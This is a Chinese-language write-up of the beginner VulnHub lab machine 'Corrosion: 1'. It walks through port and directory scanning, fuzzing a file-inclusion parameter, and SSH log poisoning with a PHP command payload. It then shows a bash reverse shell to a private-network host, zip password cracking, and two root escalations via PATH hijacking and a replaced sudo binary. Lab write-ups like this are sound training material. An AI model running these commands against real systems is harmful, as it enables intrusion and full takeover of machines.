CORROSION: 1

靶机描述

靶机地址：https://www.vulnhub.com/entry/corrosion-1,730/

Description

Difficulty: Easy
A easy box for beginners, but not too easy. Good Luck.
Hint: Enumerate Property.

信息收集

利用arp-scan -l命令扫描靶机IP

arp-scan -l

端口扫描

nmap -sS -p 1-65535 -sV -v 192.168.75.165

检测到22和80端口，访问一下80端口

使用gobuster进行扫描目录

gobuster dir -u http://192.168.75.165/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php

访问一下扫到的内容

/tasks

/blog-post

randy大概率是用户名，尝试继续扫描该目录

gobuster dir -u http://192.168.75.165/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php

查看一下

/blog-post/archives/

漏洞利用

查看一下randylogs.php文件

是一个空白页面，根据最初的提示，可能存在认证日志的文件包含，要fuzz具体的参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/big.txt -u "http://192.168.75.165/blog-post/archives/randylogs.php?FUZZ=../../../../../../etc/passwd" --hw 0

得到了file参数

可以访问系统文件，看一下auth.log日志

发现会记录ssh登录的所有活动，那我们可以尝试添加恶意PHP代码作为用户名，该代码将从用户输入并执行命令，这通常称为日志中毒

ssh '<?php system($_GET['cmd']);?>'@192.168.75.165

再次查看日志信息

注入的信息应该在这里，验证一下

/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id

发现没问题，写入shell

bash -c 'bash -i >& /dev/tcp/192.168.75.150/1234 0>&1'

url编码

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.75.150%2F1234%200%3E%261%27

访问并监听

提权

查看一下系统内的文件，在/var/backups目录下找到一个疑似账户备份的压缩包

使用curl下载到Kali

curl http://192.168.75.165/blog-post/archives/randylogs.php?file=/var/backups/user_backup.zip -o user_backup.zip

解压发现需要密码，使用fcrackzip爆破文件密码

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt ./user_backup.zip

用密码解压

发现randy的密码，ssh登录

查看一下权限

发现了/home/randy/tools/easysysinfo，使用sudo -l命令发现可以使用root身份运行/home/randy/tools/easysysinfo文件
s权限：设置使文件在执行阶段具有文件所有者的权限，相当于临时拥有文件所有者的身份

查看一下easysysinfo.py文件内容，这个文件是绝对路径，如果可执行文件使用的不是绝对路径，则存在漏洞可利用
使用strings easysysinfo发现使用的不是绝对路径

（1）第一种提权方法

在本地编辑cat文件，写入sh，给执行权限然后将路径写入到原有环境变量前（从前往后顺序匹配），这样使用cat命令时就会优先匹配此路径下的cat文件，由于文件有s权限，不用使用root身份运行也能获得root权限

echo 'sh' > cat
chomod +x cat
export PATH=/home/randy/tools:$PATH
./easysysinfo

得到flag

（2）第二种提权方法

第二种提权方法，虽然没有修改权限，但是可以使用同名文件覆盖该文件，写一个获得shell的c文件，然后编译覆盖，覆盖之后s权限也会被覆盖，所以需要使用sudo以获得root权限

 vi  ./easysysinfo.c   //进行编辑easysysinfo.c文件
 
//以下为编辑内容
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

gcc easysysinfo.c -o easysysinfo //指定gcc处理结果的文件名为easysysinfo
sudo ./easysysinfo